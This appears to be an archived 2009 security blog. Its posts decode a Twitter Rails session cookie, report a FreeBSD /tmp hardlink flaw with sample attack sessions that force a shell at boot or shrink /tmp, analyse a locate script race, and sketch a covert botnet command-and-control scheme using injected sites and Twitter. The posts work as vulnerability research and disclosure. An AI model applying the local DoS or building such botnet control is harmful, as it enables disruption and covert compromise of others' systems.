Set-Cookie: param_in_reply_to=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: param_source=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: param_user=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: param_id=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: dispatch_action=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1%250AODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkz%250AOTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6%250AOkZsYXNoSGFzaHsABjoKQHVzZWR7AA%253D%253D--155a3cf21b10246345bea30752bde45e6f841de0; domain=.twitter.com; path=/
Vary: Accept-Encoding
X-Content-Encoding: gzip
Content-length: 5741
Connection: close

Look at that _twitter_sess cookie!! That looks yummy!

First thing to me is that this screams base 64. Second thing is the cookie has some URL escaped characters. (After a while, seeing %25 makes me just think of '%'. And, seeing 3D makes me think of '='. So, having two '==' at the end of a string is a common Base 64 encoding pattern.)

Opening up WebScarab's transcoder (Tools -> Transcoder), pasting the text, and running "URL decode" gives this:
BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1%0AODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkz%0AOTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6%0AOkZsYXNoSGFzaHsABjoKQHVzZWR7AA%3D%3D--155a3cf21b10246345bea30752bde45e6f841de0

So, the initial %25's were transcoded to %. This means the URL needs to be decoded once more:
BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1
ODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkz
OTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6
OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--155a3cf21b10246345bea30752bde45e6f841de0

That is some well-formed Base64 right there! Err, except for the "--155[...]" at the end. Base64 is described in RFC 1421, Section 4.3.2.4. Implementations of Base64 will add or neglect a linefeed. WebScarab wants a string with a linefeed at the 76nd character, whereas system utils such as uudecode on a Mac or FreeBSD want the linefeed at a specific count (after the 72nd character, IIRC). Here's a quick and dirty python script that just wants a full line without any linefeeds:

import base64
mystr = "BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1ODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkzOTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA=="
print base64.b64decode(mystr)

Notice that everything from the dashes onwards has been removed, since this is not part of the Base64 string. Running this outputs the following:
python
Python 2.5.1 (r251:54863, Jun 17 2009, 20:37:34) 
[GCC 4.0.1 (Apple Inc. build 5465)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> mystr = "BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1ODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkzOTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA=="
>>> print base64.b64decode(mystr)
{ :
         csrf_id"%180d4a52203c61e65dc82f99bcb23584:trans_prompt0:id"%98eb2cd2a068b244b07e93958442f982"
flashIC:'ActionController::Flash::FlashHash{:
@used{
>>> 

Running this as a script, saving the output, and running my favorite file identification tool, file(1), reports this:
python b64.py > b64.bin && file b64.bin
b64.bin: data

:-( Sad Panda face...

But, look at the output from before. Happy Panda face! ;-) The first handful of hits on Google for the string "flashIC:'ActionController::Flash::FlashHash" returns references to Ruby and Ruby on Rails. Looking at the first hit, "Class
ActionController::Flash::FlashHash" is a gem (pun intended)!

Who Am I?

What do we know? We have a (possible) Twitter session identifier (inferring, since it was sent to us by Twitter and because of its name, _twitter_sess) that is a double URL encoded, Base64 blob of data that seems to relate to the Ruby on Rails, or at least Ruby, in some way. I downloaded Ruby on Rails 2.3.3 and did a quick grep for "Flash::FlashHash" in the source code. This is what I got:
setenv grepstr 'Flash::FlashHash'
find . -exec grep -l $grepstr \{\} \;
./doc/api/classes/ActionController/Flash/FlashHash.html
./doc/api/classes/ActionController/Flash.html
./doc/api/fr_class_index.html
./doc/api/fr_method_index.html
./vendor/rails/actionpack/lib/action_controller/test_process.rb
./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/test_process.rb

So, a couple HTML files and two .rb file. I'm not a Ruby coder. I briefly looked at Ruby years ago and it hurt my eyes. Python is my friend. So, I'll infer that the .rb files are Ruby source code files. These two files seem to be related to unit tests. Let's change the search string a bit:
setenv grepstr 'FlashHash'
find . -exec grep -l $grepstr \{\} \;
./doc/api/classes/ActionController/Flash/FlashHash.html
./doc/api/classes/ActionController/Flash.html
./doc/api/classes/ActionController/TestProcess.html
./doc/api/fr_class_index.html
./doc/api/fr_method_index.html
./vendor/rails/actionpack/lib/action_controller/flash.rb
./vendor/rails/actionpack/lib/action_controller/test_process.rb
./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/flash.rb
./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/test_process.rb

OK, so one more HTML file and two more .rb files. The "./vendor/rails/actionpack/lib/action_controller/flash.rb" file seems interesting. Opening that up and scanning the file quickly shows some module and class definitions. But, here's something interesting:
      def store(session, key = "flash")
        return if self.empty?
        session[key] = self
      end

This caught my eye pretty quickly. Inferring again, we have a method called "store" that wants something called "session" and "key", which is set to "flash". When I see key like this, I think of a hash data structure. The first check seems to look to see if session is empty, and if so, bail. (This implies that something else sets up session.) Then, what looks like a hash key action, sets the key called "key" to the object, "self". So, this flash object is stored in session.

Seeing that "session" is used here, let's look for that:
setenv grepstr 'session'
find . -exec grep -l $grepstr \{\} \;                ./CHANGELOG
./doc/api/classes/ActionController/Base.html
./doc/api/classes/ActionController/Cookies.html
./doc/api/classes/ActionController/Dispatcher.html
./doc/api/classes/ActionController/Filters/ClassMethods.html
./doc/api/classes/ActionController/Flash/FlashHash.html
[...]

Err, 205 documents later... That's a lot. Need a better search:
find . -name session\*.rb
./vendor/rails/actionpack/lib/action_controller/session_management.rb
./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/session_management.rb
./vendor/rails/activerecord/lib/active_record/session_store.rb
./vendor/rails/activerecord/pkg/activerecord-2.3.3/lib/active_record/session_store.rb
./vendor/rails/railties/configs/initializers/session_store.rb
./vendor/rails/railties/lib/rails_generator/generators/components/session_migration/session_migration_generator.rb

Ah, much better! That first hit, ./vendor/rails/actionpack/lib/action_controller/session_management.rb, looks good. Opening that up and scanning the documentation shows this:
    module ClassMethods
      # Set the session store to be used for keeping the session data between requests.
      # By default, sessions are stored in browser cookies (:cookie_store),
      # but you can also specify one of the other included stores (:active_record_store,
      # :mem_cache_store, or your own custom class.

For emphasis:
By default, sessions are stored in browser cookies (:cookie_store)

K. The rest of the file seems light. Let's look for cookie_store only in .rb files:
setenv grepstr 'cookie_store'
find . -name lib/\*.rb -exec grep -l $grepstr \{\} \;
./vendor/rails/actionpack/lib/action_controller/session_management.rb
./vendor/rails/actionpack/lib/action_controller.rb
./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/session_management.rb
./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller.rb
./vendor/rails/actionpack/pkg/actionpack-2.3.3/test/controller/session/cookie_store_test.rb
./vendor/rails/actionpack/test/controller/session/cookie_store_test.rb

Opening "./vendor/rails/actionpack/lib/action_controller.rb" and scanning seems to me to be a main file that loads other includes. Looking for "session", I come across this snippet:
  module Session
    autoload :AbstractStore, 'action_controller/session/abstract_store'
    autoload :CookieStore, 'action_controller/session/cookie_store'
    autoload :MemCacheStore, 'action_controller/session/mem_cache_store'
  end

I'm curious on the cookie store for the session. Let's take a look for cookie_store.rb.
find . -name cookie_store.rb
./vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb
./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/session/cookie_store.rb

"./vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb" looks like it matches "action_controller/session/cookie_store". Open that file up, grab a drink of choice and I'll follow-up in Part 2.

Monday, December 07, 2009

Issue with FreeBSD /etc/rc.d/tmp Script

FreeBSD has a minor issue with the current /etc/rc.d/tmp script. Here's the current script:

#!/bin/sh
#
# Copyright (c) 1999 Matt Dillon
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
# SUCH DAMAGE.
#
# $FreeBSD: src/etc/rc.d/tmp,v 1.40 2009/05/17 08:25:02 danger Exp $
#

# PROVIDE: tmp
# REQUIRE: mountcritremote

. /etc/rc.subr

name="tmp"
stop_cmd=':'

load_rc_config $name

# If we do not have a writable /tmp, create a memory
# filesystem for /tmp. If /tmp is a symlink (e.g. to /var/tmp,
# then it should already be writable).
#
case "${tmpmfs}" in
[Yy][Ee][Ss])
if ! /bin/df /tmp | grep -q "^/dev/md[0-9]"; then
mount_md ${tmpsize} /tmp "${tmpmfs_flags}"
chmod 01777 /tmp
fi
;;
[Nn][Oo])
;;
*)
if /bin/mkdir -p /tmp/.diskless 2> /dev/null; then
rmdir /tmp/.diskless
else
if [ -h /tmp ]; then
echo "*** /tmp is a symlink to a non-writable area!"
echo "dropping into shell, ^D to continue anyway."
/bin/sh
else
mount_md ${tmpsize} /tmp "${tmpmfs_flags}"
chmod 01777 /tmp
fi
fi
;;
esac


The default behavior of tmpmfs (defined in /etc/defaults/rc.conf) is set to AUTO. This causes the '*' case to be hit in the script. If a local user creates a file (not a directory) in /tmp called .diskless and the system is rebooted or the script is called directly, the system will either drop into /bin/sh prior to reaching DAEMON or the system will remount /tmp with a potentially smaller size than expected. Both of these conditions are probably not ideal and the prior condition could lead to a boot-up DoS, depending upon local system configurations. The latter condition is harder to fix once the system is in multi-user mode, and especially if users connect via SSH. This is because the /tmp directory will contain open files and/or sockets. So, a fix in this case would also require dropping the system into single-user mode. Because FreeBSD still allows a user to hardlink to a file that is not owned by that user (which has caused at least one issue in the past), the user can cause some shenanigans:

> echo $uid
1001
> ll /tmp
total 12
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .ICE-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .X11-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .XIM-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .font-unix
drwxrwxr-x 2 root operator 512 Dec 7 15:10 .snap
-rw-r--r-- 1 root wheel 0 Dec 7 15:25 foo
> cd /tmp
> ln foo .diskless
> ll /tmp
total 12
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .ICE-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .X11-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .XIM-unix
-rw-r--r-- 2 root wheel 0 Dec 7 15:25 .diskless
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .font-unix
drwxrwxr-x 2 root operator 512 Dec 7 15:10 .snap
-rw-r--r-- 2 root wheel 0 Dec 7 15:25 foo

The user could hide his or her actions because the hardlink would not show who setup the hardlink, assuming a file exists in /tmp that does not belong to the user. Rather, it shows the current permissions on the hardlinked file.

My initial idea at a fix is to include a new variable in /etc/rc.d/cleartmp that would be set to YES in /etc/defaults/rc.conf. The variable would be similar to clear_tmp_X (maybe called clear_tmp_safe?), calling a routine to wipe and remake the directory /tmp/.diskless. Once this script was ran by root, a subsequent call to /etc/rc.d/tmp upon reboot or directory would act right for most cases.

Diskless clients should be OK, though, as long as /tmp/.diskless is not included in /etc/mtree/BSD.root.dist. When /etc/rc.d/cleartmp would run the first time, it would already be on a memory /tmp file system (assuming /conf doesn't contain anything to point to a residual mount point that could have been tampered). Clients also using memory-backed /tmp should be OK, since the variable will force a creation of a memory-backed /tmp mount point. But, some other eyes should look at this prior to changing the behavior.

When I went through a setup of FreeBSD 8.0 using standard / default / auto-assign values, the system will create its own /tmp mountpoint with a size of 500MB or so. So, if one considered this a "default" setup, then having the case of /tmp remounted (and possibly filling up because of the 20MB size) would merit a CVSSv2 score probably no higher than 1.9 (AV:L/AC:M/Au:N/C:N/I:N/A:P). Worst case, the CVSSv2 score would merit a 4.7 (AV:L/AC:M/Au:N/C:N/I:N/A:C), in my opinion.

Appendix
Sample attack on a symlink'd /tmp:

> ls -la /tmp
lrwxr-xr-x 1 root wheel 7 Dec 7 15:55 /tmp -> var/tmp
> cd /tmp
> ll
total 12
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .ICE-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .X11-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .XIM-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .font-unix
-rw-r--r-- 1 root wheel 0 Dec 7 15:55 foo
drwxrwxrwt 2 root wheel 512 Dec 7 15:44 vi.recover
> ln foo .diskless
> ll
total 12
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .ICE-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .X11-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .XIM-unix
-rw-r--r-- 2 root wheel 0 Dec 7 15:55 .diskless
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .font-unix
-rw-r--r-- 2 root wheel 0 Dec 7 15:55 foo
drwxrwxrwt 2 root wheel 512 Dec 7 15:44 vi.recover
> su -
Password:
test-8# /etc/rc.d/tmp start
*** /tmp is a symlink to a non-writable area!
dropping into shell, ^D to continue anyway.
#


Sample attack on a mounted /tmp:

> mount
/dev/ad0s1a on / (ufs, local)
devfs on /dev (devfs, local, multilabel)
/dev/ad0s1f on /usr (ufs, local, soft-updates)
/dev/ad0s1d on /var (ufs, local, soft-updates)
/dev/ad0s1e on /tmp (ufs, local, soft-updates)
> df /tmp
Filesystem 1K-blocks Used Avail Capacity Mounted on
/dev/ad0s1e 507630 16 467004 0% /tmp
> ll /tmp
total 14
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .ICE-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .X11-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .XIM-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .font-unix
drwxrwxr-x 2 root operator 512 Dec 7 15:10 .snap
-rw-r--r-- 1 root wheel 0 Dec 7 15:25 foo
> ln foo .diskless
> su -
Password:
test-8# /etc/rc.d/tmp start
test-8# mount
/dev/ad0s1a on / (ufs, local)
devfs on /dev (devfs, local, multilabel)
/dev/ad0s1f on /usr (ufs, local, soft-updates)
/dev/ad0s1d on /var (ufs, local, soft-updates)
/dev/ad0s1e on /tmp (ufs, local, soft-updates)
/dev/md0 on /tmp (ufs, local)
test-8# df /tmp
Filesystem 1K-blocks Used Avail Capacity Mounted on
/dev/md0 19566 4 17998 0% /tmp
test-8# ll /tmp
total 2
drwxrwxr-x 2 root operator 512 Dec 7 15:59 .snap

Sunday, December 06, 2009

Near Miss Issue with FreeBSD periodic locate Script

Whilst looking around at the periodic scripts for FreeBSD, I noticed something interesting with the locate(1) script:
 locdb=/var/db/locate.database

touch $locdb && rc=0 || rc=3
chown nobody $locdb || rc=3
chmod 644 $locdb || rc=3

cd /
echo /usr/libexec/locate.updatedb | nice -n 5 su -fm nobody || rc=3
chmod 444 $locdb || rc=3;;
As root, the script allows the nobody account read-write access to the file and subsequently runs the locate commands as nobody. This allows only public or nobody-owned files to be recorded in the locate database, which is usually desired. If the script ran as root, then everyone's files would be listed, which may leak some private information.

At first, I tried to see, if as nobody, I could symlink the file to something else, such as /etc/master.passwd or /etc/spwd.db. There seems to exist a possible race condition between the execution of the touch, chown, chmod and then the echo'd niced su command ran as nobody (which would open the file, making an unlink difficult). And since the nobody account is often used by ports (and inetd in one case), a vulnerability in that port could grant access to the nobody account. (Un)fortunately, /var/db is not writable by the nobody account. Because of this, even though nobody owns the file and has proper permission to read-write the file, the account does not have the ability to modify the directory. If the account cannot modify the directory, the account cannot create or remove the file.

With that vector not possible, the next thought was to explore the nobody account's ability to modify a file that others will read. If there existed some type of vulnerability within locate, such as memory corruption that could lead to exploitation, the locate db could be used as the vector. I'm not the best when it comes to spotting vulnerabilities, so by no means trust my analysis. The only "issue" I noticed was in locate.c. search_mmap won't munmap and close the file descriptor if fastfind_mmap (via fastfind.c) exits abruptly. This can occur here:


#endif /* FF_MMAP */
} else { /* slow step, =< 14 chars */
count += c - OFFSET;
}

if (count < 0 || count > MAXPATHLEN)
errx(1, "corrupted database: %s", database);



But, who cares. The process exits, so the mappings and file descriptors will get discarded anywho (as far as I know, which may be wrong). If the mappings aren't discarded, then this could eventually lead to memory exhaustion, especially if the file size was artificially inflated to be bigger than need be. But, this seems a silly way to do a local DDoS.

So, yeah, if someone notices a vulnerability with locate that could be exploited by corrupting the locate db, someone could potentially gain access to that user's account once that user ran the locate utility. Prior to this, though, the attacker would have to gain access to the nobody account, which isn't trivial, but seems probable due to all of the ports that utilize the account in some fashion.

Or, tl/dr, a near miss with locate.

Wednesday, December 02, 2009

Botnet Command And Control With Twitter

Using Twitter as a command and control (C&C) for botnets is a novel idea. Googling for twitter+botnet returns a bunch of results, with some diamonds. Listening to Risky Business Episode #121 got the brain juices flowing, though, on a way to be a bit more creative on the C&C structure.

Step 0: C&C Language
Out of scope for this discussion.

Step 1: Have Persistent Data Returned in a Web App
A possible way to get persistent data returned within an arbitrary web application would be to find a SQLi vulnerability or persistent XSS issue with some random application on the web. The idea is to be able to enter a string such as the following:

[PREFIX][ENCODED COMMAND WITH SIGNATURE]

This string could be commented out or a JavaScript variable. It just has to be present. The "PREFIX" would be used by the botnet as a search variable. If/when found, the appended command (with some type of signature to ensure integrity) would then be validated, and if good, used. The PREFIX could be updated in the future, though.

Step 2: Shorten a URL and Do Math
Enter the prior web application's URL into a popular URL shortener, such as bit.ly, yfrog.com, etc. Save the resulting shortened URL path. For example, the bit.ly shortened URL for http://www.google.com is http://bit.ly/14d7yE. Save the 14d7yE and associate it to bit.ly somehow.

Understand the range of values the shortener provides. bit.ly seems to use [0-9][a-z][A-Z], which would be an alphabet of 62 characters. Map these alphabets to some numbering system. For example, the google.com bit.ly shortened URL could map to this number:

1*62^5 + 4*62^4 + d*62^3 + 7*62^2 + y*62^1 + E*62^0, which is a number smaller than 990014512.

Call this number P.


Randomly pick a number and call it Q. Take P * Q to get N. N gets included with the botnet members. N should be a variant that can be updated by the botnet members.

Encode Q the same way that P was encoded by the shortener. Q now equals the PREFIX value from above.

Step 3: Inject PREFIX into App
Inject Q / PREFIX into the web app, along with the encoded commands.

Step 4: Create a Twitter Account (or Two, or 100)
Create a twitter account and upload a custom picture. Do not protect the account.


Step 5: Abuse Twitter Public Timeline (or Search) and PROFIT!
The twitter public timeline displays the tweets of 20 non-protected accounts with a custom picture, cached for a 60 second period. To request the current timeline in XML, GET http://twitter.com/statuses/public_timeline.xml.


With all of the available twitter accounts, tweet about the shortened URL. These accounts can tweet about any other URL they want. The botnet monitors the public timeline. The goal is to get one of these twitter accounts to be shown in the public timeline.

For whatever shorteners the botnet supports, it will have to follow each and every shortened URL. So, bit.ly may not be a good choice due to all of the false positives and traffic. All the same, a shortener that is rarely used may also stand out. Getting the tweets in the public timeline may be a numbers game.

Instead of using the timeline, the botnet could also search twitter for a shortener. For example, searching for short.to's shortener has a limited number of hits relative to bit.ly. One could use a list of shorteners to test this against and figure out a good one to use.

Once a shortener link is found, the botnet recreates the PREFIX / Q variable (called Q-prime) by taking the shortened URL, divided by the stored N variable. If the resultant Q-prime is an integer, then the botnet follows the link and searches for the Q-prime variable in the text of the site. If Q-prime is found, the botnet then attempts to decode the command, hopefully signed in some way.

VoilĂ !

Issues
  • Since the botnet only follows specific shortened URLs, the secrecy of the C&C server is somewhat impacted. Now, if Q is chosen is a way where it has a lot of coprime factors, then it seems more probable that N can be divided by a larger set of shortened URLs (Ps). But, I'm not a mathematician, so don't trust me here (or anywhere in this post :-)
  • If the Twitter accounts only tweet on the C&C shortened URL, the secrecy of the C&C system (and also the subversive nature of the Twitter accounts) is impacted. The accounts can send out random, harmless tweets to add noise.
  • The public timeline method seems cumbersome. The search method seems a bit more robust.
  • Systems that pound on twitter.com would probably reveal themselves to be bots
This seems to be a novel approach to running a C&C server advertised on Twitter. The botnet has no hardcoded data, outside of N, that would reveal the location of the C&C method. Subterfuge can be achieved with the twitter accounts to a point, assuming the prior tweets and links have something in common with the injected site. The bots could even search for other twitter stuff to add noise in the stream, such as popular accounts or sites.


Blog Archive